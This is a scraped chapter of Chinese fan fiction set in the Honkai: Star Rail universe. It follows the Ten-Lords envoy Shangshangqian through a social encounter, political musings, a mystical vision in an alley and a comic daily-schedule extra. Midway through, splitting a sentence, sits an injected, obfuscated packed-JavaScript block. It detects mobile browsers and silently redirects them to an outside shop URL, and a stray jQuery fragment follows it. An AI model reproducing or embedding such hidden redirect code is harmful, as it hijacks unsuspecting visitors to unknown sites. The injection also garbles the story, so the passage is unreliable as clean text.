小女孩的母亲接到消息后很快赶来,她身边还跟着桂乃芬。
桂乃芬见到上上签,便紧紧握住他的双手:“谢谢这位兄台,十分感谢!不过兄台你的手有点凉啊,我认识丹鼎司的人,咱们一起去瞧瞧医生?别客气,医疗费我掏,我请客,咱就当做个定期体检!”
“多谢桂乃芬小姐关心”,上上签不动声色抽回自己的手,“很感谢您的邀请,只是公务在身,请恕我拒绝。”
他这才想起来,在绥园的时候,桂乃芬晕过去了,所以不认识他。
不过照她如此热情的社交方式,认不认识也没差。
桂乃芬十分遗憾:“那小兄弟咱留个联系方式呗,以后你需要帮忙,我义不容辞。”
“哦,这个呀,你找藿藿要就行了”,上上签很爽快地回答。
桂乃芬:……
小女孩母亲:“小哥你还认识捉鬼小队的其他人啊,太棒了吧!哎,您什么时候有空,咱们吃个饭吧,小桂子推荐了好几家铺子,味道都非常好呢。”
桂乃芬回过神,得意地点头:“嘿嘿~罗浮那么多好吃的,我可是专门尝过才给家人们推荐的,绝对包好吃!”
“有时间我一定去尝尝。”
“唉,我们也不好打扰您工作”,桂乃芬知道他职业特殊,不强留。
她遗憾叹气:“那真的只能等下次了,麻烦您代我向藿藿问好。”
“会的”,他不打算继续聊下去,冲她们拱手道别,“在下先行一步了。”
出了地衡司的门,他没忍住低声感叹:“许久没被人劝去看医生了,稀奇。”
作为一枚超级平平无奇的虚构史学家,他捏“晏冥”真是付出了诸多心血,成果也是登峰造极。
——“晏冥”不仅形似活人,甚至还可以生病受伤感到疼痛。
但可能还是因为他运用神秘的能力不熟练,某些设定偶尔会失控,让他发个烧,得个肺炎,或者身上莫名其妙裂开……
哦——没错,是裂开。
试想,当你正和一个人说话,对方的脖子忽然像开瓢的西瓜般,露出里面红红的芯儿,血呼哩哗啦往下流。
你自然是心里哇凉,惊声尖叫“啊啊啊医生”,这人却用嘶嘶漏风的嗓子坚持发出声音:“谢谢你的提醒,我请你吃个饭吧。”
你虽说被吓到走不动道,但还是在心中尖叫“妈哎,他好有礼貌”。
哈哈以上双方皆不是什么正常人,请勿模仿。
一言以蔽之,他在大夏天坚持穿长衣长裤真不是喜欢,主要是他不遮着点,容易被人当作医学奇葩。
与此相较,“上上签”就没那么麻烦,把弄好的设定往偃偶身体里一塞便成,批发量产都没问题,他完全可以做个甩手掌柜。
只不过,他把“上上签”视作“晏冥”的延申,不愿他只作为一具人设堆砌的空壳行动。
……归根结底,还是他放不下“晏冥”的朋友。
比如墨迟,比如景元。
十王为什么要他当这个使者?珀俳维尔是一方面,更重要的是他是一位虚构史学家,他还想保护自己的朋友。
这样一个有把柄有私心的人,不比其他人好掌控?
是以,他应该感谢珀俳维尔。
十王使者,客观公正,而且对各个仙舟的将军一视同仁,在六御看来,信度仙舟将军还高,并且独立于各个仙舟,行动不受限制。
这样的好事,如果没有珀俳维尔,根本轮不到晏冥坐这个位置,最多是用虚构史学家的能力,为联盟鞠躬尽瘁。
而现在十王看重他的能力,利用他牵制珀俳维尔,维护联盟稳定。
他用十王给予的权力为他的朋友提供庇护,揪出幕后摆弄他命运的人。
很公平。
可是最近珀俳维尔重新开始在仙舟行动,十王很难继续瞒他,他们的交易出现失衡,所以“他”让他处理墨迟的事,以此为提醒。
……提醒他不要忘记自己权力是由谁给予,所以面对珀俳维尔时要牢记自己的身份。
不过“他”也怕搞得太过火,所以才派上上签出来,重新向他展示十王使者这个身份的价值。
“罗浮的判官调查罗浮的将军,这次的后门开得够大。”
然而谈感激倒也说不上,互惠互利罢了。
十王的立场是联盟,他的立场是景元,恰巧联盟现在不能失去景元。
即使十王司派其他使者来,他们也不会为难景元,只不过不会像他那么偏心罢了。
他真是个好人,一生双标。
去往太卜司需要路过繁盛活跃的长乐天,忙了一天,此时正是傍晚,灯市照夜如昼。
以长生种对时间的感知,新年还没过多久,又碰上了演武仪典这样的庆典,一时间街上满是火树银花的热闹景象,还有不成形的迷因在草丛中游走。
此刻,他终于体会到了从点碎时光中挤出来的松弛感。
“这才是人过的生活啊”,虽然这么嘟囔着,他还是专门挑了人迹罕至的小巷子走。
无他,在晚高峰从广场横渡过去,包子都要被挤成馅饼。
小巷里只有寥寥几盏灯,也许是为了响应新修改的《仙舟联盟节能能源法》,灯泡皆苟延残断地亮着,幽黄的光只占了一小片地方。
起到照明主力作用的是从顶部投下的大片月光,漆黑的路面像撒了一层盐。
话说,罗浮有月亮吗?
月色清明,时间忽然在此刻凝固。
他猛抬头,第一次感到灵魂与偃偶分离,体内忆质倒流,模糊地视野中拥有万千眼睛,目含慈悲的长生主望向黑发的狐人,画面就停留在这一瞬间。
药师是无私的,但受其赐福者却做不到,于是堕落成孽物受诸界驱逐,但若有无私者求药师垂怜,以达利他的大同世界,定会得祂青睐。
虽然早就有预感墨迟绝对会得到祂的注视,但如此神迹,还是忍不住睁大了眼睛。
“星神的一瞥在此已是有形之物,伸出你的手,冥。”难辨男女的声音响起。同循循善诱的师长一般。
声音的主人缩在冷僻的角落,逆着命途的光对他发出请求:“冥,去截住那段目光,解决短生的病痛中蕴含着时间的力量,祂渴求永恒。”
耳边似乎传来“吱吱”的声音,像人走在雪地上。
很快,那声音停下来了,“它”祈祷,吟唱声像雪花落入未结冰的湖泊,激起一圈圈涟漪。
[创世之初,轮回之末,祂定义万物的共性。
存在之树,原始之海,祂划分星海的明灭。
祂于世界的夹缝中给予众生平等,祂是无常,祂是定数,祂是周而复始的因果……]
两股截然不同
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13789281|144023||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的概念在体内绽开,他头脑混沌,耳边只剩下了心跳声,像在做一场漫长无解的清醒梦,潮湿的气息攀延上灵魂,在被海水淹没的前一秒,苍穹之上一颗星星闭上了眼睛,不再注视他。
“你们一定要追上来…一路平安帕。”
重要的东西逝去,他没有力气保持站立,跪在地上痛苦蜷缩起身子,但还是不死心地抓住空无一物的衣摆。
“我没有想到,这么久了祂的力量还在保护着你”,声音的主人似乎很想靠近他。
“也许不该将命途的力量有形化,现在我反倒成了恶人,我让你失去了最珍贵的东西?可知与不可知……我对这个世界还是不太了解。”
声音之中混着另外的声音,低低的耳语像蜂蜜流淌:
[……有人曾在我耳边嬉笑命运无常,我承认有时我的决定太过随心所欲……只不可度量的时间中我已走过太远,曾与我交谈的友人如今却不语不言……]
黑暗之中,他不知何时又回到了那条小巷。
撑着地,他挪到墙边,靠坐在阴影中。
远处,有人在唱歌。
“浮生事,苦海舟,飘来荡去不自由……”
无边无岸难泊系,常在鱼龙险处游。*
不系之舟。
——
(来个和正文无关的番外吧,水个字数耶耶耶)
上上签的一天
7:00上上签放下笔合上最后一卷文书,虽然现在处理文件已经不需要手写,但他还是保留了这个古老的习惯。
与此同时打开光脑,开始审阅云以居发过来的各部门的日程。
7:30唤来冥差整理桌上堆积的文牍,这些文牍有些会录入系统,有些需要传给不同仙舟上的十王司。
8:30趁下一批文件还没送来,刷论坛摸鱼,刷到景元发在罗浮杂俎的帖子“吃好喝好心情好~”
打掉自己习惯性点赞的手,叫了同款的外卖。
8:50藿藿送来今日份的文件,上上签便打发藿藿去取外卖。
9:00包括藿藿在内,今日当值的判官都获得了一份来自上司的广式茶点,但问字部的判官认为在工位上吃无法体现企业文化,于是拉桌子,带着上司凑了餐大的。
当上上签刚夹起一个咸水角时,玉阙发来紧急消息,称发现了联盟重犯的踪迹,只得放下筷子,先去处理突发情况。
13:30处理完紧急任务,问字部的桌上还放着同僚专门给他剩的早餐,几个冥差正守在一边眼巴巴地看。上上签让他们把虾饺咸水角奶黄包拿走,自己端着凉了的羊奶回到工位开始处理今日份的工作。
21:43云以居提着羊肉包子来送温暖,虽然他不需要进食,但包子的味道不错。
23:30云以居去审问前几天刚抓到的犯人,上上签跟在一旁记录核实证言。
0:47突然接到曜青通知,今日早上发布的追捕联盟重犯的任务,所派遣的判官未能完成,且身受重伤,上上签紧急接手营救以及善后工作的指挥权。
3:58解救判官成功,写报告,顺带写了篇长信告诫曜青十王司的人不可莽撞。
处理剩下的文件
6:00工作还有一点点没处理完,但累了,于是把感官附到光上在罗浮上乱窜发疯。
7:00今天又是新的一天。